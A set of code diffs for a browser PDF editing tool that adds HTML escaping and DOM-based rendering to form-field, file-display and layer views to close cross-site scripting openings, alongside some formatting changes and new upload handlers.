fileIcon.setAttribute('data-lucide', 'file-text');
|
||||
fileIcon.className = 'w-5 h-5 text-indigo-400';
|
||||
|
||||
const nameSpan = document.createElement('span');
|
||||
nameSpan.className = 'text-gray-200 truncate max-w-xs';
|
||||
nameSpan.textContent = file.name;
|
||||
|
||||
const sizeSpan = document.createElement('span');
|
||||
sizeSpan.className = 'text-gray-500 text-sm';
|
||||
sizeSpan.textContent = `(${(file.size / 1024).toFixed(1)} KB)`;
|
||||
|
||||
info.append(fileIcon, nameSpan, sizeSpan);
|
||||
|
||||
const removeBtn = document.createElement('button');
|
||||
removeBtn.className = 'remove-file text-gray-400 hover:text-red-400';
|
||||
removeBtn.dataset.index = String(index);
|
||||
|
||||
const removeIcon = document.createElement('i');
|
||||
removeIcon.setAttribute('data-lucide', 'x');
|
||||
removeIcon.className = 'w-5 h-5';
|
||||
removeBtn.appendChild(removeIcon);
|
||||
|
||||
row.append(info, removeBtn);
|
||||
fileDisplayArea.appendChild(row);
|
||||
});
|
||||
|
||||
createIcons({ icons });
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ type LucideWindow = Window & {
|
||||
};
|
||||
|
||||
import { initializeGlobalShortcuts } from '../utils/shortcuts-init.js';
|
||||
import { downloadFile, hexToRgb } from '../utils/helpers.js';
|
||||
import { downloadFile, escapeHtml, hexToRgb } from '../utils/helpers.js';
|
||||
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
|
||||
import { createIcons, icons } from 'lucide';
|
||||
import * as pdfjsLib from 'pdfjs-dist';
|
||||
@@ -720,7 +720,7 @@ function renderField(field: FormField): void {
|
||||
field,
|
||||
'#ffffff'
|
||||
);
|
||||
contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${field.dateFormat || 'mm/dd/yyyy'}</span></div>`;
|
||||
contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${escapeHtml(field.dateFormat || 'mm/dd/yyyy')}</span></div>`;
|
||||
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
|
||||
} else if (field.type === 'image') {
|
||||
contentEl.className =
|
||||
@@ -729,7 +729,7 @@ function renderField(field: FormField): void {
|
||||
field,
|
||||
'#f3f4f6'
|
||||
);
|
||||
contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${field.label || 'Click to Upload Image'}</span></div>`;
|
||||
contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${escapeHtml(field.label || 'Click to Upload Image')}</span></div>`;
|
||||
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
|
||||
} else if (field.type === 'barcode') {
|
||||
contentEl.className = 'w-full h-full flex items-center justify-center';
|
||||
@@ -1105,7 +1105,7 @@ function showProperties(field: FormField): void {
|
||||
specificProps = `
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Value</label>
|
||||
<input type="text" id="propValue" value="${field.defaultValue}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<input type="text" id="propValue" value="${escapeHtml(field.defaultValue)}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Max Length (0 for unlimited)</label>
|
||||
@@ -1151,11 +1151,11 @@ function showProperties(field: FormField): void {
|
||||
specificProps = `
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Group Name (Must be same for group)</label>
|
||||
<input type="text" id="propGroupName" value="${field.groupName}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<input type="text" id="propGroupName" value="${escapeHtml(field.groupName)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Export Value</label>
|
||||
<input type="text" id="propExportValue" value="${field.exportValue}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<input type="text" id="propExportValue" value="${escapeHtml(field.exportValue)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
</div>
|
||||
<div class="flex items-center justify-between bg-gray-600 p-2 rounded mt-2">
|
||||
<label for="propChecked" class="text-xs font-semibold text-gray-300">Checked State</label>
|
||||
@@ -1168,13 +1168,13 @@ function showProperties(field: FormField): void {
|
||||
specificProps = `
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Options (One per line or comma separated)</label>
|
||||
<textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${field.options?.join('\n')}</textarea>
|
||||
<textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${escapeHtml(field.options?.join('\n') ?? '')}</textarea>
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Selected Option</label>
|
||||
<select id="propSelectedOption" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<option value="">None</option>
|
||||
${field.options?.map((opt) => `<option value="${opt}" ${field.defaultValue === opt ? 'selected' : ''}>${opt}</option>`).join('')}
|
||||
${field.options?.map((opt) => `<option value="${escapeHtml(opt)}" ${field.defaultValue === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`).join('')}
|
||||
</select>
|
||||
</div>
|
||||
<div class="text-xs text-gray-400 italic mt-2">
|
||||
@@ -1185,7 +1185,7 @@ function showProperties(field: FormField): void {
|
||||
specificProps = `
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Label</label>
|
||||
<input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Action</label>
|
||||
@@ -1200,11 +1200,11 @@ function showProperties(field: FormField): void {
|
||||
</div>
|
||||
<div id="propUrlContainer" class="${field.action === 'url' ? '' : 'hidden'}">
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">URL</label>
|
||||
<input type="text" id="propActionUrl" value="${field.actionUrl || ''}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<input type="text" id="propActionUrl" value="${escapeHtml(field.actionUrl || '')}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
</div>
|
||||
<div id="propJsContainer" class="${field.action === 'js' ? '' : 'hidden'}">
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Javascript Code</label>
|
||||
<textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${field.jsScript || ''}</textarea>
|
||||
<textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${escapeHtml(field.jsScript || '')}</textarea>
|
||||
</div>
|
||||
<div id="propShowHideContainer" class="${field.action === 'showHide' ? '' : 'hidden'}">
|
||||
<div class="mb-2">
|
||||
@@ -1215,7 +1215,7 @@ function showProperties(field: FormField): void {
|
||||
.filter((f) => f.id !== field.id)
|
||||
.map(
|
||||
(f) =>
|
||||
`<option value="${f.name}" ${field.targetFieldName === f.name ? 'selected' : ''}>${f.name} (${f.type})</option>`
|
||||
`<option value="${escapeHtml(f.name)}" ${field.targetFieldName === f.name ? 'selected' : ''}>${escapeHtml(f.name)} (${escapeHtml(f.type)})</option>`
|
||||
)
|
||||
.join('')}
|
||||
</select>
|
||||
@@ -1281,7 +1281,7 @@ function showProperties(field: FormField): void {
|
||||
</div>
|
||||
<div id="customFormatContainer" class="${isCustom ? '' : 'hidden'} mt-2">
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Custom Format</label>
|
||||
<input type="text" id="propCustomFormat" value="${isCustom ? field.dateFormat : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<input type="text" id="propCustomFormat" value="${isCustom ? escapeHtml(field.dateFormat ?? '') : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
</div>
|
||||
<div class="mt-3 p-2 bg-gray-700 rounded">
|
||||
<span class="text-xs text-gray-400">Example of current format:</span>
|
||||
@@ -1298,7 +1298,7 @@ function showProperties(field: FormField): void {
|
||||
specificProps = `
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Label / Prompt</label>
|
||||
<input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
</div>
|
||||
<div class="text-xs text-gray-400 italic mt-2">
|
||||
Clicking this field in the PDF will open a file picker to upload an image.
|
||||
@@ -1320,7 +1320,7 @@ function showProperties(field: FormField): void {
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Barcode Value</label>
|
||||
<input type="text" id="propBarcodeValue" value="${field.barcodeValue || ''}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<input type="text" id="propBarcodeValue" value="${escapeHtml(field.barcodeValue || '')}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
</div>
|
||||
<div id="barcodeFormatHint" class="text-xs text-gray-400 italic"></div>
|
||||
`;
|
||||
@@ -1330,7 +1330,7 @@ function showProperties(field: FormField): void {
|
||||
<div class="space-y-3">
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Field Name ${field.type === 'radio' ? '(Group Name)' : ''}</label>
|
||||
<input type="text" id="propName" value="${field.name}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<input type="text" id="propName" value="${escapeHtml(field.name)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<div id="nameError" class="hidden text-red-400 text-xs mt-1"></div>
|
||||
</div>
|
||||
${
|
||||
@@ -1343,7 +1343,10 @@ function showProperties(field: FormField): void {
|
||||
<select id="existingGroups" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<option value="">-- Select existing group --</option>
|
||||
${Array.from(existingRadioGroups)
|
||||
.map((name) => `<option value="${name}">${name}</option>`)
|
||||
.map(
|
||||
(name) =>
|
||||
`<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
|
||||
)
|
||||
.join('')}
|
||||
${Array.from(
|
||||
new Set(
|
||||
@@ -1354,7 +1357,7 @@ function showProperties(field: FormField): void {
|
||||
)
|
||||
.map((name) =>
|
||||
!existingRadioGroups.has(name)
|
||||
? `<option value="${name}">${name}</option>`
|
||||
? `<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
|
||||
: ''
|
||||
)
|
||||
.join('')}
|
||||
@@ -1367,7 +1370,7 @@ function showProperties(field: FormField): void {
|
||||
${specificProps}
|
||||
<div>
|
||||
<label class="block text-xs font-semibold text-gray-300 mb-1">Tooltip / Help Text</label>
|
||||
<input type="text" id="propTooltip" value="${field.tooltip}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
<input type="text" id="propTooltip" value="${escapeHtml(field.tooltip)}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
|
||||
</div>
|
||||
<div class="flex items-center">
|
||||
<input type="checkbox" id="propRequired" ${field.required ? 'checked' : ''} class="mr-2">
|
||||
@@ -1784,7 +1787,7 @@ function showProperties(field: FormField): void {
|
||||
field.options
|
||||
?.map(
|
||||
(opt) =>
|
||||
`<option value="${opt}" ${currentVal === opt ? 'selected' : ''}>${opt}</option>`
|
||||
`<option value="${escapeHtml(opt)}" ${currentVal === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`
|
||||
)
|
||||
.join('');
|
||||
|
||||
@@ -2478,7 +2481,12 @@ downloadBtn.addEventListener('click', async () => {
|
||||
JS: field.jsScript,
|
||||
});
|
||||
} else if (field.action === 'showHide' && field.targetFieldName) {
|
||||
const target = field.targetFieldName;
|
||||
const target = field.targetFieldName
|
||||
.replace(/\\/g, '\\\\')
|
||||
.replace(/"/g, '\\"')
|
||||
.replace(/\r/g, '\\r')
|
||||
.replace(/\n/g, '\\n')
|
||||
.replace(/\0/g, '\\0');
|
||||
let script: string;
|
||||
|
||||
if (field.visibilityAction === 'show') {
|
||||
|
||||
@@ -54,19 +54,42 @@ function updateFileDisplay() {
|
||||
? `${(currentFile.size / 1024).toFixed(1)} KB`
|
||||
: `${(currentFile.size / 1024 / 1024).toFixed(2)} MB`;
|
||||
|
||||
displayArea.innerHTML = `
|
||||
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
|
||||
<div class="flex items-center justify-between">
|
||||
<div class="flex-1 min-w-0">
|
||||
<p class="truncate font-medium text-white">${currentFile.name}</p>
|
||||
<p class="text-gray-400 text-sm">${fileSize}</p>
|
||||
</div>
|
||||
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
|
||||
<i data-lucide="trash-2" class="w-4 h-4"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
displayArea.textContent = '';
|
||||
|
||||
const card = document.createElement('div');
|
||||
card.className =
|
||||
'bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors';
|
||||
|
||||
const row = document.createElement('div');
|
||||
row.className = 'flex items-center justify-between';
|
||||
|
||||
const info = document.createElement('div');
|
||||
info.className = 'flex-1 min-w-0';
|
||||
|
||||
const nameP = document.createElement('p');
|
||||
nameP.className = 'truncate font-medium text-white';
|
||||
nameP.textContent = currentFile.name;
|
||||
|
||||
const sizeP = document.createElement('p');
|
||||
sizeP.className = 'text-gray-400 text-sm';
|
||||
sizeP.textContent = fileSize;
|
||||
|
||||
info.append(nameP, sizeP);
|
||||
|
||||
const removeBtn = document.createElement('button');
|
||||
removeBtn.id = 'remove-file';
|
||||
removeBtn.className =
|
||||
'text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2';
|
||||
removeBtn.title = 'Remove file';
|
||||
|
||||
const removeIcon = document.createElement('i');
|
||||
removeIcon.setAttribute('data-lucide', 'trash-2');
|
||||
removeIcon.className = 'w-4 h-4';
|
||||
removeBtn.appendChild(removeIcon);
|
||||
|
||||
row.append(info, removeBtn);
|
||||
card.appendChild(row);
|
||||
displayArea.appendChild(card);
|
||||
|
||||
createIcons({ icons });
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
|
||||
import { t } from '../i18n/i18n';
|
||||
import {
|
||||
downloadFile,
|
||||
escapeHtml,
|
||||
readFileAsArrayBuffer,
|
||||
formatBytes,
|
||||
getPDFDocument,
|
||||
@@ -208,7 +209,7 @@ document.addEventListener('DOMContentLoaded', () => {
|
||||
<div class="layer-item" data-number="${layer.number}" style="padding-left: ${layer.depth * 24 + 8}px;">
|
||||
<label class="layer-toggle">
|
||||
<input type="checkbox" ${layer.on ? 'checked' : ''} ${layer.locked ? 'disabled' : ''} data-xref="${layer.xref}" />
|
||||
<span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${layer.text || `Layer ${layer.number}`}</span>
|
||||
<span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${escapeHtml(layer.text || `Layer ${layer.number}`)}</span>
|
||||
${layer.locked ? '<span class="layer-locked">🔒</span>' : ''}
|
||||
</label>
|
||||
<div class="layer-actions">
|
||||
|
||||
@@ -193,6 +193,15 @@ function initializeTool() {
|
||||
document
|
||||
.getElementById('pdf-file-input')
|
||||
?.addEventListener('change', handlePdfUpload);
|
||||
document.getElementById('upload-area')?.addEventListener('click', () => {
|
||||
document.getElementById('pdf-file-input')?.click();
|
||||
});
|
||||
document
|
||||
.getElementById('pdf-file-input-select-btn')
|
||||
?.addEventListener('click', (e) => {
|
||||
e.stopPropagation();
|
||||
document.getElementById('pdf-file-input')?.click();
|
||||
});
|
||||
document
|
||||
.getElementById('insert-pdf-input')
|
||||
?.addEventListener('change', handleInsertPdf);
|
||||
|
||||
@@ -2,6 +2,7 @@ import { PDFDocument, PDFName } from 'pdf-lib';
|
||||
import { createIcons, icons } from 'lucide';
|
||||
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
|
||||
import { loadPdfDocument } from '../utils/load-pdf-document.js';
|
||||
import { escapeHtml } from '../utils/helpers.js';
|
||||
|
||||
// State management
|
||||
const pageState: { pdfDoc: PDFDocument | null; file: File | null } = {
|
||||
@@ -70,7 +71,7 @@ function updateFileDisplay() {
|
||||
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
|
||||
<div class="flex items-center justify-between">
|
||||
<div class="flex-1 min-w-0">
|
||||
<p class="truncate font-medium text-white">${pageState.file.name}</p>
|
||||
<p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
|
||||
<p class="text-gray-400 text-sm">${fileSize} • ${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
|
||||
</div>
|
||||
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
|
||||
|
||||
@@ -4,6 +4,7 @@ import { createIcons, icons } from 'lucide';
|
||||
import { initPagePreview } from '../utils/page-preview.js';
|
||||
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
|
||||
import { loadPdfDocument } from '../utils/load-pdf-document.js';
|
||||
import { escapeHtml } from '../utils/helpers.js';
|
||||
|
||||
pdfjsLib.GlobalWorkerOptions.workerSrc = new URL(
|
||||
'pdfjs-dist/build/pdf.worker.min.mjs',
|
||||
@@ -79,7 +80,7 @@ function updateFileDisplay() {
|
||||
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
|
||||
<div class="flex items-center justify-between">
|
||||
<div class="flex-1 min-w-0">
|
||||
<p class="truncate font-medium text-white">${pageState.file.name}</p>
|
||||
<p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
|
||||
<p class="text-gray-400 text-sm">${fileSize} • ${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
|
||||
</div>
|
||||
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">
|
||||
|
||||
@@ -6,303 +6,329 @@ import forge from 'node-forge';
|
||||
import { SignatureValidationResult, ValidateSignatureState } from '@/types';
|
||||
|
||||
const state: ValidateSignatureState = {
|
||||
pdfFile: null,
|
||||
pdfBytes: null,
|
||||
results: [],
|
||||
trustedCertFile: null,
|
||||
trustedCert: null,
|
||||
pdfFile: null,
|
||||
pdfBytes: null,
|
||||
results: [],
|
||||
trustedCertFile: null,
|
||||
trustedCert: null,
|
||||
};
|
||||
|
||||
function getElement<T extends HTMLElement>(id: string): T | null {
|
||||
return document.getElementById(id) as T | null;
|
||||
return document.getElementById(id) as T | null;
|
||||
}
|
||||
|
||||
function resetState(): void {
|
||||
state.pdfFile = null;
|
||||
state.pdfBytes = null;
|
||||
state.results = [];
|
||||
state.pdfFile = null;
|
||||
state.pdfBytes = null;
|
||||
state.results = [];
|
||||
|
||||
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
|
||||
if (fileDisplayArea) fileDisplayArea.innerHTML = '';
|
||||
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
|
||||
if (fileDisplayArea) fileDisplayArea.innerHTML = '';
|
||||
|
||||
const resultsSection = getElement<HTMLDivElement>('results-section');
|
||||
if (resultsSection) resultsSection.classList.add('hidden');
|
||||
const resultsSection = getElement<HTMLDivElement>('results-section');
|
||||
if (resultsSection) resultsSection.classList.add('hidden');
|
||||
|
||||
const resultsContainer = getElement<HTMLDivElement>('results-container');
|
||||
if (resultsContainer) resultsContainer.innerHTML = '';
|
||||
const resultsContainer = getElement<HTMLDivElement>('results-container');
|
||||
if (resultsContainer) resultsContainer.innerHTML = '';
|
||||
|
||||
const fileInput = getElement<HTMLInputElement>('file-input');
|
||||
if (fileInput) fileInput.value = '';
|
||||
const fileInput = getElement<HTMLInputElement>('file-input');
|
||||
if (fileInput) fileInput.value = '';
|
||||
|
||||
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
|
||||
if (customCertSection) customCertSection.classList.add('hidden');
|
||||
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
|
||||
if (customCertSection) customCertSection.classList.add('hidden');
|
||||
}
|
||||
|
||||
function resetCertState(): void {
|
||||
state.trustedCertFile = null;
|
||||
state.trustedCert = null;
|
||||
state.trustedCertFile = null;
|
||||
state.trustedCert = null;
|
||||
|
||||
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
|
||||
if (certDisplayArea) certDisplayArea.innerHTML = '';
|
||||
const certDisplayArea = getElement<HTMLDivElement>('cert-display-area');
|
||||
if (certDisplayArea) certDisplayArea.innerHTML = '';
|
||||
|
||||
const certInput = getElement<HTMLInputElement>('cert-input');
|
||||
if (certInput) certInput.value = '';
|
||||
const certInput = getElement<HTMLInputElement>('cert-input');
|
||||
if (certInput) certInput.value = '';
|
||||
}
|
||||
|
||||
function initializePage(): void {
|
||||
createIcons({ icons });
|
||||
createIcons({ icons });
|
||||
|
||||
const fileInput = getElement<HTMLInputElement>('file-input');
|
||||
const dropZone = getElement<HTMLDivElement>('drop-zone');
|
||||
const backBtn = getElement<HTMLButtonElement>('back-to-tools');
|
||||
const certInput = getElement<HTMLInputElement>('cert-input');
|
||||
const certDropZone = getElement<HTMLDivElement>('cert-drop-zone');
|
||||
const fileInput = getElement<HTMLInputElement>('file-input');
|
||||
const dropZone = getElement<HTMLDivElement>('drop-zone');
|
||||
const backBtn = getElement<HTMLButtonElement>('back-to-tools');
|
||||
const certInput = getElement<HTMLInputElement>('cert-input');
|
||||
const certDropZone = getElement<HTMLDivElement>('cert-drop-zone');
|
||||
|
||||
if (fileInput) {
|
||||
fileInput.addEventListener('change', handlePdfUpload);
|
||||
fileInput.addEventListener('click', () => {
|
||||
fileInput.value = '';
|
||||
});
|
||||
}
|
||||
if (fileInput) {
|
||||
fileInput.addEventListener('change', handlePdfUpload);
|
||||
fileInput.addEventListener('click', () => {
|
||||
fileInput.value = '';
|
||||
});
|
||||
}
|
||||
|
||||
if (dropZone) {
|
||||
dropZone.addEventListener('dragover', (e) => {
|
||||
e.preventDefault();
|
||||
dropZone.classList.add('bg-gray-700');
|
||||
});
|
||||
if (dropZone) {
|
||||
dropZone.addEventListener('dragover', (e) => {
|
||||
e.preventDefault();
|
||||
dropZone.classList.add('bg-gray-700');
|
||||
});
|
||||
|
||||
dropZone.addEventListener('dragleave', () => {
|
||||
dropZone.classList.remove('bg-gray-700');
|
||||
});
|
||||
dropZone.addEventListener('dragleave', () => {
|
||||
dropZone.classList.remove('bg-gray-700');
|
||||
});
|
||||
|
||||
dropZone.addEventListener('drop', (e) => {
|
||||
e.preventDefault();
|
||||
dropZone.classList.remove('bg-gray-700');
|
||||
const droppedFiles = e.dataTransfer?.files;
|
||||
if (droppedFiles && droppedFiles.length > 0) {
|
||||
handlePdfFile(droppedFiles[0]);
|
||||
}
|
||||
});
|
||||
}
|
||||
dropZone.addEventListener('drop', (e) => {
|
||||
e.preventDefault();
|
||||
dropZone.classList.remove('bg-gray-700');
|
||||
const droppedFiles = e.dataTransfer?.files;
|
||||
if (droppedFiles && droppedFiles.length > 0) {
|
||||
handlePdfFile(droppedFiles[0]);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (certInput) {
|
||||
certInput.addEventListener('change', handleCertUpload);
|
||||
certInput.addEventListener('click', () => {
|
||||
certInput.value = '';
|
||||
});
|
||||
}
|
||||
if (certInput) {
|
||||
certInput.addEventListener('change', handleCertUpload);
|
||||
certInput.addEventListener('click', () => {
|
||||
certInput.value = '';
|
||||
});
|
||||
}
|
||||
|
||||
if (certDropZone) {
|
||||
certDropZone.addEventListener('dragover', (e) => {
|
||||
e.preventDefault();
|
||||
certDropZone.classList.add('bg-gray-700');
|
||||
});
|
||||
if (certDropZone) {
|
||||
certDropZone.addEventListener('dragover', (e) => {
|
||||
e.preventDefault();
|
||||
certDropZone.classList.add('bg-gray-700');
|
||||
});
|
||||
|
||||
certDropZone.addEventListener('dragleave', () => {
|
||||
certDropZone.classList.remove('bg-gray-700');
|
||||
});
|
||||
certDropZone.addEventListener('dragleave', () => {
|
||||
certDropZone.classList.remove('bg-gray-700');
|
||||
});
|
||||
|
||||
certDropZone.addEventListener('drop', (e) => {
|
||||
e.preventDefault();
|
||||
certDropZone.classList.remove('bg-gray-700');
|
||||
const droppedFiles = e.dataTransfer?.files;
|
||||
if (droppedFiles && droppedFiles.length > 0) {
|
||||
handleCertFile(droppedFiles[0]);
|
||||
}
|
||||
});
|
||||
}
|
||||
certDropZone.addEventListener('drop', (e) => {
|
||||
e.preventDefault();
|
||||
certDropZone.classList.remove('bg-gray-700');
|
||||
const droppedFiles = e.dataTransfer?.files;
|
||||
if (droppedFiles && droppedFiles.length > 0) {
|
||||
handleCertFile(droppedFiles[0]);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
if (backBtn) {
|
||||
backBtn.addEventListener('click', () => {
|
||||
window.location.href = import.meta.env.BASE_URL;
|
||||
});
|
||||
}
|
||||
if (backBtn) {
|
||||
backBtn.addEventListener('click', () => {
|
||||
window.location.href = import.meta.env.BASE_URL;
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function handlePdfUpload(e: Event): void {
|
||||
const input = e.target as HTMLInputElement;
|
||||
if (input.files && input.files.length > 0) {
|
||||
handlePdfFile(input.files[0]);
|
||||
}
|
||||
const input = e.target as HTMLInputElement;
|
||||
if (input.files && input.files.length > 0) {
|
||||
handlePdfFile(input.files[0]);
|
||||
}
|
||||
}
|
||||
|
||||
async function handlePdfFile(file: File): Promise<void> {
|
||||
if (file.type !== 'application/pdf' && !file.name.toLowerCase().endsWith('.pdf')) {
|
||||
showAlert('Invalid File', 'Please select a PDF file.');
|
||||
return;
|
||||
}
|
||||
if (
|
||||
file.type !== 'application/pdf' &&
|
||||
!file.name.toLowerCase().endsWith('.pdf')
|
||||
) {
|
||||
showAlert('Invalid File', 'Please select a PDF file.');
|
||||
return;
|
||||
}
|
||||
|
||||
resetState();
|
||||
state.pdfFile = file;
|
||||
state.pdfBytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer);
|
||||
resetState();
|
||||
state.pdfFile = file;
|
||||
state.pdfBytes = new Uint8Array(
|
||||
(await readFileAsArrayBuffer(file)) as ArrayBuffer
|
||||
);
|
||||
|
||||
updatePdfDisplay();
|
||||
updatePdfDisplay();
|
||||
|
||||
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
|
||||
if (customCertSection) customCertSection.classList.remove('hidden');
|
||||
createIcons({ icons });
|
||||
const customCertSection = getElement<HTMLDivElement>('custom-cert-section');
|
||||
if (customCertSection) customCertSection.classList.remove('hidden');
|
||||
createIcons({ icons });
|
||||
|
||||
await validateSignatures();
|
||||
await validateSignatures();
|
||||
}
|
||||
|
||||
function updatePdfDisplay(): void {
|
||||
const fileDisplayArea = getElement<HTMLDivElement>('file-display-area');
|
||||
if (!fileDisplayArea || !state.pdfFile) return;
|
||||
